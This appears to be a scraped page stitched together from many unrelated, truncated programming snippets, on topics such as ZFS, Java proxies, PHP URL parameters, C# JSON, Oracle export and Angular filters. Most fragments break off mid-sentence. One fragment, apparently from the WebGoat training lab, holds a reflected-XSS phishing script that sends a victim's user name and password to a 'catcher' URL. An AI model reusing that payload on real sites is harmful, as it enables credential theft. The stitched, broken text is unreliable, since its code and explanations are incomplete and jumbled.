Understanding the space used by zfsby Brian Leonard on Sep 28,201 0
Until recently, I 've been confused and frustrated by the ZFS list output as I try to clear up space on my hard drive.
Take this example using a 1 GB zpool:
[emailprotected]:~# mkfile 1G /dev/dsk/disk1[emailprotected]:~# zpool create tank disk1[emailprotected]:~# zpool list tankNAME SIZE USED AVAIL CAP HEALTH ALTROOTtank 1016M 73K 1016M 0% ONLINE -
Now let's cr
Here the content is more complex, to achieve is toarbitrary interface, for any specified method, and for any specified proxy typeThe agent, it is more realistic to simulate the dynamic agent mechanism of Java Virtual machinelist the relationship between the classes and interfaces involved, so that we could learn. 1, Invocationhandler interface, used to handle the specified method, that is, the agent for a particular method, the implementation of the specific processing by the subclass implementa
First game preliminary plan
Before Game Development, you usually need to perform preliminary analysis and planning on your own game. Organize and analyze all foreseeable problems.
Although simple game planning can be built in mind. But as a tutorial, let's proceed with the process.
First, I decided what kind of game I was doing. I thought it would be a tank war for the red and white machines.
Because you can find a full set of
:
Event is: [object example2]Event is: [object example2]Event is: enterframe
Event2 is: [object stage]Event2 is: [object stage]Event2 is: enterframe
Although it cannot be explained for the time being, there is a small difference between stage and no stage listening in data output. One is a listener stage object, that is, a stage listening, and the other is a class listening.
Let's look at the stage attributes of the official displayobject class:
Stage: Stage[Read-Only] displa
the Director has done!Package Com.builder;import Com.factory.abstrcatfactory.model.engine;import Com.factory.abstrcatfactory.model.Tank ; Import com.factory.abstrcatfactory.model.vehicle;/** Builder's command builder mode can build two series of items in the same step * in the series of products that build the same steps, the amount of code is better than the abstract factory pattern. But the increase in the number of different steps of each product increases the abstraction of the factory, sin
Four methods for obtaining php url parameters
This article mainly introduces four examples of php url parameter acquisition methods and four methods of php url Parameter Parsing. For more information, see
When URL parameters are known, we can use $ _ GET to obtain the relevant parameter information ($ _ GET ['name']) according to our own situation, how can I obtain the parameter information on the URL in an unknown situation?
First, use the $ _ SERVER built-in array variable
Obtain the URL pa
(Turn from: Small tank http://www.cnblogs.com/TankXiao/p/3637495.html)In Restapi, it is often necessary to manipulate JSON strings, to "deserialize" the JSON string into an object, and to "serialize" an object into a string.C # Operations JSON, relatively simple. This article describes several methodsRead Catalogue
Steps
Understanding the syntax of JSON
Examples of creating entity classes
Entity classes that automatically generate
This article mainly introduces four methods for obtaining PHPURL parameters and four methods for parsing phpurl parameters. if you need a friend, refer to the following when URL parameters are known, we can use $ _ GET to obtain the corresponding parameter information ($ _ GET ['name']) According to our own situation; that, how can I obtain the parameter information on the URL in an unknown situation?
First, use the $ _ SERVER built-in array variable
Obtain the URL parameter from the original $
When URL parameters are known, we can use $ _ GET to obtain the relevant parameter information ($ _ GET [\\\ name \\]) According to our own situation. how can we get the parameter information on the URL in an unknown situation? First, use the $ _ SERVER built-in array variable.
When URL parameters are known, we can use $ _ GET to obtain the relevant parameter information ($ _ GET [\ 'name \ ']) based on our own situation. how can we get the parameter information on the URL in an unknown situatio
, (2) Empty Jar, (3) pour water from one jar into another. When pouring water between two containers, it is necessary to wait until the inverted jar is emptied, or the poured jar is full. For example, if a has 5 galons of water, B has a capacity of 8 galons and 6 galons of water. After a is switched to B, 3 galons are left in.
A problem is given by a triple (Ca, CB, n), where Ca and CB are the capacities of the jugs A and B, respectively, and N is the goal. A solution is a sequence of steps th
the target database to recreate the synonym.
Set linesize 132
Set pagesize 0
Set trimspool on
Spool C:/seapark. Syn
Select 'create public synonym' | synonym_name
| 'For' | table_owner | '.' | table_name | ';'
From dba_synonyms
Where table_owner = 'seapark' and owner = 'public ';
Spool off
5. Export one or more specified tables
Exp seapark/seapark file = Tank log = Tank tables =
Reference 468446511011Finalize () The condition that is calledJava1.6 the following conditions:(1) class not called (NULL) (2) Call System.GC ()1.8 of conditions:(1) Call System.GC (). (After a call to System.GC (), Finalize () is executed, that is, Finalize () is executed when the last '} ' is executed)//: Main.java/** * Garbage Collection * Note: Java environment 1.6 can, 1.8 No, garbage collection mechanism changes.*/ClassTest {@OverrideProtectedvoidFinalize () {System.Out.println ("Finalize"
the child array.
For example, when searching on a client, we can quickly filter out the results we want from the array.
This filter method receives a string,object, or a function parameter is used to select/move an array element.
The next full of our specific view:
One, built-in filter1,uppercase,lowercase size Conversion
{{' Lower cap string ' | uppercase}} Result: LOWER CAP STRING
{{"TANK is good" | lowercase}} //results:
feature set
We classify the processed data into two types for feature extraction. One is the Primary Set, which is used to represent the original data; the second type is the Secondary dataset, which is used to represent the statistical data obtained from the original data analysis.
The experiment shares 258 feature attributes, including 180 feature attributes in the master dataset and 72 feature attributes in the secondary dataset.4.1 Primary Features Mismanagement Features: these five data Fe
about the advanced malware orchestration and TCSOKeep DNS Protected with Actionable security Insight Keep DNS Protected with Actionable Security InsightUnderstanding DNS TrafficPopular PostsHow to Decrypt OpenSSL Sessions using Wireshark and SSL Session Identifiers: [22260 views] How to Decrypt OpenSSL session s using Wireshark and SSL Session IdentifiersA tip for savvy malware analystsThe case for Learning python®for Malware Analysis: (9112 views) The case for learning python®for Malware analy
Web Security XSSSimple Reflective XSS Fishing DemoForm>Script> functionHack) {xssimage=New Image; Xssimage.src="Http://localhost:8080/WebGoat/catcher?PROPERTY=yesuser=" +Document.phish.user.value +"password=" +Document.phish.pass.value +""; Alert"Had this been a real attack ... Your credentials were just stolen. User Name = "+Document.phish.user.value +"Password =" +Document.phish.pass.value);}Script>FormName="Phish" >Br>Br>Hr>H2>this feature requires
Features of SUN-A Type Intelligent external stick Ultrasonic Liquid Level SwitchInstallation outside the tank, no holes, no fire, no damage to the tank, no suspension of installation, no suspension of maintenance;Non-plug-in measurement is independent of the pressure, temperature, specific gravity of the media, and whether the media is corrosive. tNo interference with media in the
Proxy.newProxyInstance(ClassLoaderloader,ClassMethod returns an instance of the proxy object class. As in the above example, icomputer computer = (icomputer) proxy. newproxyinstance (laptop. getclass (). getclassloader (), laptop. getclass (). getinterfaces (), hander); when this statement is executed, a proxy class is dynamically generated through the reflection mechanism, which implements the icomputer interface, in addition, the methods in the interface are overwritten (that is, the proxy cl
above sample, which can be expressed
Return to the above statement "the model has been set, the parameter is unknown". What we know is that the unknown is θ, so the likelihood is defined:
In practice, the logarithm is usually obtained on both sides. The formula is as follows:
This is called the log likelihood, but the average log likelihood. What we usually call the maximum likelihood is the maximum logarithm mean likelihood, that is:
For example, in a blog of someone else, if there is a ja
Mike's new test shows that the buffer pool is more efficient than GC, I still have to proceed with careful and careful consideration. But for now, I am planning to discard the "Object Buffer Pool" idea and prepare for the next step of design and other tests.
Iii. Thinking about object computing.This problem is logically simple, but it is not easy to understand. Suppose you want to "attack" A building when controlling tank. The attack result is calcul
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